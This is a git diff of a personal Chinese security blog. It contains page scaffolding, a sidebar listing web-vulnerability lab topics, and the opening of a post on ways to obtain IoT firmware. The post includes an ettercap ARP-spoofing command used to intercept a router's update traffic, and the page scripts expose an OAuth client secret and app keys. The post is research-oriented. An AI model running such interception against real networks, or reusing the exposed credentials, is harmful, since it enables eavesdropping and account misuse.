class="nav-text">SQL注入</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-5"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-5"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#SQL盲注"><span class="nav-text">SQL盲注</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#弱session-id"><span class="nav-text">弱session-id</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-6"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-6"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#基于DOM的XSS"><span class="nav-text">基于DOM的XSS</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-7"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-7"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#反射型xss"><span class="nav-text">反射型xss</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-8"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-8"><span class="nav-text">medium模式</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#存储型xss"><span class="nav-text">存储型xss</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#easy模式-9"><span class="nav-text">easy模式</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#medium模式-9"><span class="nav-text">medium模式</span></a></li></ol></li></ol></div>
+            
+
+          </div>
+        </section>
+      <!--/noindex-->
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">64.5k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
+
+
+
+
+
+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
+    <span class="site-uv">
+      <i class="fa fa-user"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
+      
+    </span>
+  
+
+  
+    <span class="site-pv">
+      <i class="fa fa-eye"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
+      
+    </span>
+  
+</div>
+
+
+
+
+
+
+
+
+        
+      </div>
+    </footer>
+
+    
+      <div class="back-to-top">
+        <i class="fa fa-arrow-up"></i>
+        
+      </div>
+    
+
+    
+
+  </div>
+
+  
+
+<script type="text/javascript">
+  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
+    window.Promise = null;
+  }
+</script>
+
+
+
+
+
+
+
+
+
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
+  
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
+
+
+
+  
+  
+
+
+  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
+
+
+
+  
+  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
+<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  
+
+
+
+
+	
+
+
+
+
+
+  
+
+
+
+
+
+  
+
+
+
+
+
+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
+        <script src="https://jjeejj.github.io/js/gitment.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+      <script type="text/javascript">
+      function renderGitment(){
+        var gitment = new Gitment({
+            id: window.location.pathname,
+            owner: 'Cool-Y',
+            repo: 'gitment-comments',
+            
+            oauth: {
+            
+            
+                client_secret: '1c5db4da72df5e6fc318d12afe5f4406f7c54343',
+            
+                client_id: '180955a2c3ae3d966d9a'
+            }});
+        gitment.render('gitment-container');
+      }
+
+      
+      renderGitment();
+      
+      </script>
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
+
+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
+            acl.setPublicReadAccess(true);
+            acl.setPublicWriteAccess(true);
+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
+})();
+</script>
+
+
+  
+  
+
+  
+
+  
+
+  
+
+</body>
+</html>
diff --git a/2019/07/24/获取固件/index.html b/2019/07/24/获取固件/index.html
new file mode 100644
index 00000000..0e84c484
--- /dev/null
+++ b/2019/07/24/获取固件/index.html
@@ -0,0 +1,1390 @@
+<!DOCTYPE html>
+
+
+
+  
+
+
+<html class="theme-next gemini use-motion" lang="zh-Hans">
+<head><meta name="generator" content="Hexo 3.8.0">
+  <meta charset="UTF-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
+<meta name="theme-color" content="#222">
+
+
+
+
+
+
+
+
+
+<meta http-equiv="Cache-Control" content="no-transform">
+<meta http-equiv="Cache-Control" content="no-siteapp">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
+
+
+
+
+
+
+
+<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
+
+<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
+
+
+  <link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
+
+
+
+
+
+  <meta name="keywords" content="IoT,硬件层,">
+
+
+
+
+
+
+
+
+
+
+<meta name="description" content="通过分析物联网设备遭受攻击的链条可以发现，黑客获取固件，把固件逆向成汇编或C程序语言后，能分析出设备的运行流程和网络行为，还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息，他们也很难发现这些漏洞。从这一点看，物联网设备的安全性，在很大程度上决定于其固件的安全性。 http://blog.nsfocus.net/security-analysis-of-the-firmwa">
+<meta name="keywords" content="IoT,硬件层">
+<meta property="og:type" content="article">
+<meta property="og:title" content="获取固件的几种方法">
+<meta property="og:url" content="https://cool-y.github.io/2019/07/24/获取固件/index.html">
+<meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="通过分析物联网设备遭受攻击的链条可以发现，黑客获取固件，把固件逆向成汇编或C程序语言后，能分析出设备的运行流程和网络行为，还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息，他们也很难发现这些漏洞。从这一点看，物联网设备的安全性，在很大程度上决定于其固件的安全性。 http://blog.nsfocus.net/security-analysis-of-the-firmwa">
+<meta property="og:locale" content="zh-Hans">
+<meta property="og:image" content="https://res.cloudinary.com/dozyfkbg3/image/upload/v1563606353/samples/1.png">
+<meta property="og:updated_time" content="2019-07-24T03:50:46.543Z">
+<meta name="twitter:card" content="summary">
+<meta name="twitter:title" content="获取固件的几种方法">
+<meta name="twitter:description" content="通过分析物联网设备遭受攻击的链条可以发现，黑客获取固件，把固件逆向成汇编或C程序语言后，能分析出设备的运行流程和网络行为，还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息，他们也很难发现这些漏洞。从这一点看，物联网设备的安全性，在很大程度上决定于其固件的安全性。 http://blog.nsfocus.net/security-analysis-of-the-firmwa">
+<meta name="twitter:image" content="https://res.cloudinary.com/dozyfkbg3/image/upload/v1563606353/samples/1.png">
+
+
+
+<script type="text/javascript" id="hexo.configurations">
+  var NexT = window.NexT || {};
+  var CONFIG = {
+    root: '/',
+    scheme: 'Gemini',
+    version: '5.1.4',
+    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
+    fancybox: true,
+    tabs: true,
+    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
+    duoshuo: {
+      userId: '0',
+      author: '博主'
+    },
+    algolia: {
+      applicationID: '',
+      apiKey: '',
+      indexName: '',
+      hits: {"per_page":10},
+      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
+    }
+  };
+</script>
+
+
+
+  <link rel="canonical" href="https://cool-y.github.io/2019/07/24/获取固件/">
+
+
+
+
+
+  <title>获取固件的几种方法 | 混元霹雳手</title>
+  
+
+
+
+
+
+
+
+
+</head>
+
+<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
+
+  
+  
+    
+  
+
+  <div class="container sidebar-position-left page-post-detail">
+    <div class="headband"></div>
+
+    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
+      <div class="header-inner"><div class="site-brand-wrapper">
+  <div class="site-meta ">
+    
+
+    <div class="custom-logo-site-title">
+      <a href="/" class="brand" rel="start">
+        <span class="logo-line-before"><i></i></span>
+        <span class="site-title">混元霹雳手</span>
+        <span class="logo-line-after"><i></i></span>
+      </a>
+    </div>
+      
+        <p class="site-subtitle"></p>
+      
+  </div>
+
+  <div class="site-nav-toggle">
+    <button>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+    </button>
+  </div>
+</div>
+
+<nav class="site-nav">
+  
+
+  
+    <ul id="menu" class="menu">
+      
+        
+        <li class="menu-item menu-item-home">
+          <a href="/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
+            
+            首页
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-about">
+          <a href="/about/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
+            
+            关于
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-tags">
+          <a href="/tags/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
+            
+            标签
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-categories">
+          <a href="/categories/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
+            
+            分类
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-archives">
+          <a href="/archives/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
+            
+            归档
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-bookmarks">
+          <a href="/bookmarks/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-map"></i> <br>
+            
+            书签
+          </a>
+        </li>
+      
+
+      
+        <li class="menu-item menu-item-search">
+          
+            <a href="javascript:;" class="popup-trigger">
+          
+            
+              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
+            
+            搜索
+          </a>
+        </li>
+      
+    </ul>
+  
+
+  
+    <div class="site-search">
+      
+  <div class="popup search-popup local-search-popup">
+  <div class="local-search-header clearfix">
+    <span class="search-icon">
+      <i class="fa fa-search"></i>
+    </span>
+    <span class="popup-btn-close">
+      <i class="fa fa-times-circle"></i>
+    </span>
+    <div class="local-search-input-wrapper">
+      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
+    </div>
+  </div>
+  <div id="local-search-result"></div>
+</div>
+
+
+
+    </div>
+  
+</nav>
+
+
+
+ </div>
+    </header>
+
+    <main id="main" class="main">
+      <div class="main-inner">
+        <div class="content-wrap">
+          <div id="content" class="content">
+            
+
+  <div id="posts" class="posts-expand">
+    
+
+  
+
+  
+  
+  
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+  
+  
+  
+  <div class="post-block">
+    <link itemprop="mainEntityOfPage" href="https://cool-y.github.io/2019/07/24/获取固件/">
+
+    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
+      <meta itemprop="name" content="Cool-Y">
+      <meta itemprop="description" content>
+      <meta itemprop="image" content="/images/avatar.png">
+    </span>
+
+    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
+      <meta itemprop="name" content="混元霹雳手">
+    </span>
+
+    
+      <header class="post-header">
+
+        
+        
+          <h1 class="post-title" itemprop="name headline">获取固件的几种方法</h1>
+        
+
+        <div class="post-meta">
+          <span class="post-time">
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-calendar-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">发表于</span>
+              
+              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-24T11:49:28+08:00">
+                2019-07-24
+              </time>
+            
+
+            
+
+            
+          </span>
+
+          
+            <span class="post-category">
+            
+              <span class="post-meta-divider">|</span>
+            
+              <span class="post-meta-item-icon">
+                <i class="fa fa-folder-o"></i>
+              </span>
+              
+                <span class="post-meta-item-text">分类于</span>
+              
+              
+                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
+                  <a href="/categories/IoT/" itemprop="url" rel="index">
+                    <span itemprop="name">IoT</span>
+                  </a>
+                </span>
+
+                
+                
+              
+            </span>
+          
+
+          
+            
+          
+
+          
+          
+             <span id="/2019/07/24/获取固件/" class="leancloud_visitors" data-flag-title="获取固件的几种方法">
+               <span class="post-meta-divider">|</span>
+               <span class="post-meta-item-icon">
+                 <i class="fa fa-eye"></i>
+               </span>
+               
+                 <span class="post-meta-item-text">阅读次数&#58;</span>
+               
+                 <span class="leancloud-visitors-count"></span>
+             </span>
+          
+
+          
+
+          
+            <div class="post-wordcount">
+              
+                
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-file-word-o"></i>
+                </span>
+                
+                <span title="字数统计">
+                  962 字
+                </span>
+              
+
+              
+                <span class="post-meta-divider">|</span>
+              
+
+              
+                <span class="post-meta-item-icon">
+                  <i class="fa fa-clock-o"></i>
+                </span>
+                
+                <span title="阅读时长">
+                  4 分钟
+                </span>
+              
+            </div>
+          
+
+          
+
+        </div>
+      </header>
+    
+
+    
+    
+    
+    <div class="post-body" itemprop="articleBody">
+
+      
+      
+
+      
+        <p>通过分析物联网设备遭受攻击的链条可以发现，黑客获取固件，把固件逆向成汇编或C程序语言后，能分析出设备的运行流程和网络行为，还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息，他们也很难发现这些漏洞。从这一点看，物联网设备的安全性，在很大程度上决定于其固件的安全性。</p>
+<p><a href="http://blog.nsfocus.net/security-analysis-of-the-firmware-of-iot/" target="_blank" rel="noopener">http://blog.nsfocus.net/security-analysis-of-the-firmware-of-iot/</a><br><a href="https://open.appscan.io/article-1163.html" target="_blank" rel="noopener">https://open.appscan.io/article-1163.html</a></p>
+<h1 id="官网获取或联系售后索取升级包"><a href="#官网获取或联系售后索取升级包" class="headerlink" title="官网获取或联系售后索取升级包"></a>官网获取或联系售后索取升级包</h1><h1 id="网络升级拦截"><a href="#网络升级拦截" class="headerlink" title="网络升级拦截"></a>网络升级拦截</h1><p>工具：wireshark、ettercap<br>流程：中间人-&gt;开始抓包-&gt;在线升级-&gt;分析固件地址-&gt;下载<br>案例：华为路由WS5200 四核版<br>这款路由器在网上找不到现有固件，我们尝试一下是否可以通过抓包在线升级过程获取固件。<br>首先关闭防火墙，否则无法访问路由器的服务，无法做中间人攻击。<br>使用ettercap进行arp欺骗，<code>sudo ettercap -Tq -i ens33 -M arp:remote /192.168.31.1// /192.168.31.134//</code><br>打开wireshark进行抓包。理论上说，点击升级固件之后，wireshark就能够记录升级固件的整个过程(HTTP),但是结果却并不理想。</p>
+<p>还好华为路由器自带了抓包的功能（方便后期的调试和维护），所以直接使用这个功能抓取报文，比做中间人要直接了当得多。</p>
+<p>在点击升级固件之后，我们可以看到大量发往58.49.156.104这个地址的报文，猜测极有可能是华为的服务器，过滤一下会看得更清楚<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1563606353/samples/1.png" alt><br>可以看到在通过三次TCP握手之后，华为路由器向服务器发送了get请求，uri就是获取固件的地址 <a href="http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin" target="_blank" rel="noopener">http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin</a><br>点击即可拿到最新的固件</p>
